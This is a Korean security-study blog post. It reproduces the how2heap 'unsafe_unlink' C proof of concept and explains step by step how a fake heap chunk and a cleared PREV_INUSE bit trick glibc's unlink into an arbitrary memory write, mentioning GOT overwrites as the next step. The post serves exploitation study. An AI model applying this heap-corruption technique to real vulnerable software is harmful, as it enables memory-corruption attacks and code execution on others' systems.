#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
uint64_t *chunk0_ptr;
int main()
{
setbuf(stdout, NULL);
printf("Welcome to unsafe unlink 2.0!\n");
printf("Tested in Ubuntu 20.04 64bit.\n");
printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");
int malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin
int header_size = 2;
printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
printf("We create a fake chunk inside chunk0.\n");
printf("We setup the size of our fake chunk so that we can bypass the check introduced in https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d6db68e66dff25d12c3bc5641b60cbd7fb6ab44f\n");
chunk0_ptr[1] = chunk0_ptr[-1] - 0x10;
printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);
printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
chunk1_hdr[0] = malloc_size;
printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x430, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
chunk1_hdr[1] &= ~1;
printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
printf("You can find the source of the unlink_chunk function at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=1ecba1fafc160ca70f81211b23f688df8676e612\n\n");
free(chunk1_ptr);
printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;
printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
printf("Original value: %s\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
printf("New Value: %s\n",victim_string);
// sanity check
assert(*(long *)victim_string == 0x4141414142424242L);
}
이 예제는 unsafe_unlink를 재현한 예제이다.
unlink란 backward consolidation시 점검되는 fd/bk를 가짜 청크로 조작해 전역 포인터를 우리가 원하는 주소로 바꾼 뒤 임의 주소 쓰기를 얻는다.
tcache/fastbin을 피한다.
chunk0_ptr은 공격자가 조작 가능한 청크다.
chunk1_ptr은 나중에 free해서 backward consolidate를 트리거한다.
backward consolidate트리거란?
free가 청크 예C를 해제할 때 바로앞(prev) 청크가 사용중이 아닌 경우 그 앞 청크와 뒤로(Backward) 합쳐서 하나의 큰 청크로 만든다.
C 헤더에는 두 필드가 있다.
prev_size : 바로 앞 청크 크기
size : 현재 청크 크기
size의 최하위 비트중 PREV_INUSE비트가 0이면 앞 청크가 free상태로 판단한다.
그러면 prev_size를 이용해 앞 청크의 시작 주소를 계산해 가서, 그 앞 청크를 bin에서 꺼내 합친다.
앞 청크를 bin에서 제거하기 위해 unlink를 수행한다. 여기서 앞 청크를 D라 놓고
D -> fd -> dk = D -> dk

그리고 D와 C를 합쳐 큰 청크를 만들고 앞 / 뒤 모두 추가 병합 -> 합쳐진 청크를 적절한 bin에 다시 넣는다.

만약 C의 PREV_INUSE를 0으로 만들어서 앞 청크가 free인 척 만들고
실제로 chunk 내부에 가까 청크를 만든 다음에 free시 발생하는 unlink(D)를 할 때 FD->bk = BK, BK->fd = FD를 임의의 주소로 떨어지게 하면 공격을 할 수 있다.
다시 how2heap로 돌아와서
chunk0_ptr[i] : 가짜 청크를 만든다.
i 가
1 : 가짜 청크의 size = chunk0의 size에서 0x10(header)을 뺀 값
2 : 가짜 청크의 fd = chunk0_ptr - 0x18
3 : 가짜 청크의 bk = chunk0_ptr - 0x10
이러면 unlink 무결성 체크 D->fd->bk == D && D->bk->fd == D 를 통과한다.
여기서 0x18, 0x10인 이유는 그냥 glibc의 구조체에서 bk와 fd필드의 오프셋 기준이기 때문이다.
offset field size
0x00 prev_size 8
0x08 size 8
0x10 fd 8 ← FD는 청크 시작으로부터 +0x10
0x18 bk 8 ← BK는 청크 시작으로부터 +0x18
그런 다음 chunk1의 헤더(직전 청크)를 조작 한다.
오버플로 취약점이 있다 가정, chunk1의 메타데이터를 조작한다.
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
[prev_size, size]
chunk1_hdr[0] = malloc_size;
아까 malloc_size를 0x420으로 놓았다. 이는 chunk0을 줄여서 fake가 바로 앞에 있는 것처럼 한다.
chunk1_hdr[1] &= ~1;
PREV_INUSE 비트를 클리어 한다. 앞 청크가 free인 것 처럼
이를 통해 free(chunk1)시 backward conolidate가 발동하며 앞 청크로 인식되는 가짜 청크 P를 unlink하게 된다.
이 때 FD->bk = BK;
BK->fd = FD;
가 되게 되고
FD는 chunk0_ptr - 0x18
BK는 chunk0_ptr - 0x10 이였으니
*(FD + 3) = BK -> (chunk0_ptr - 0x18) + 0x18 = chunk0_ptr
*(BK + 2) = FD -> (chunk0_ptr - 0x10) + 0x10 = chunk0_ptr
결과적으로 chunk0_ptr의 값이 chunk0_ptr - 0x18로 바뀐다.

이 그림을 보면 이해가 더 잘 될 수 있는데 예를들어 A B C라는 청크가 있다. 여기서 B를 free한다. 그러면 backward consolidate가 트리거된다. 근데 B의 헤더에 PREV_INUSE를 0으로 조작해두면 앞 청크 A가 free된 상태라 착각한다.
그래서 glibc는 A를 bin에서 unlink해야 한다 생각하고 unlink(A)를 실행한다.
여기서 A는 free 청크가 아니라 B 바로 앞에 끼워넣은 가짜 청크 헤더 (chunk0, 내부에 심은 fake chunk)
glibc는 이걸 진짜 청크라 믿고 unlink(A)를 실행 -> 원하는 주소에 쓰기 발생한다.
그래서 원래는 A <=> B <=> C 인데
A가 제거되고 B와 합쳐저 큰 청크가 된다.
익스플로잇에서는 A는 존재하지 않은 것 처럼 chunk0내부에 넣었다.
이러면 원래 일어나야 할 A를 bin에서 unlink(A)로 제거하고 A + B를 하여 하나의 청크로 만들고 bin에 넣기를 수행하지 않는다.
익스플로잇에서는 PREV_INUSE를 클리어 해서 마치 A가 free 한 것처럼 (실제론 free X) 만든다.
그러면 fd와 bk는 진짜 bin 포인터처럼 세팅하는데 사실 A는 bin에 없는거다.
그럼 unlink(A)를 할 때 A는 bin에 있지 않아 제거되지 않는다.
그럼 이 상태로
FD->bk = BK
BK->fd = FD
를 수행한다.
여기서 FD와 BK는 우리가 계산해서 넣은 값이니까 chunk0_ptr에 쓰기가 일어난다.
how2heap로 돌아와
을 하면 &chunk0_ptr을 덮어써서 전역 포인터 chunk0_ptr 자체를 victim_string로 바꾼다.
그리고
chunk0_prt이 victim_string을 가리키므로 victm_string에 8바이트를 덮어 쓴다. 그러면 임의 주소 쓰기를 할 수 있게 된다.
그러면 저렇게 되면 문제가 뭐냐
victim_string는 8바이트 버퍼다. 여기에 0x41, 0x42만 꽉 채운다.
널 바이트가 없으니 printf("%s", )는 버퍼 넘어까지 계속 읽다가 우연히 0을 만날 때까지 진행한다.
그래서 스택 메모리 과 읽기를 하게 된다.
그럼 0을 만날 때까지 뒤 스택/힙 메모리 내용이 다 노출된다.
하지만 이 예제에서는 그냥 뒤 8바이트를 덮어쓰기만 한다.
만약 더 나아가면 GOT 등 임의 주소 쓰기도 가능하다.
'pwanble' 카테고리의 다른 글
| [Fuzzing101] Exercise 2 (0) | 2025.09.20 |
|---|---|
| [Fuzzing101] - Exercise 1 (0) | 2025.09.19 |
| 05. [How2Heap] fastbin_dup_consolidate.c (0) | 2025.09.05 |
| Heap (0) | 2025.05.29 |
| 04. [how2heap] - fastbin_dup_into_stack.c (1) | 2025.05.09 |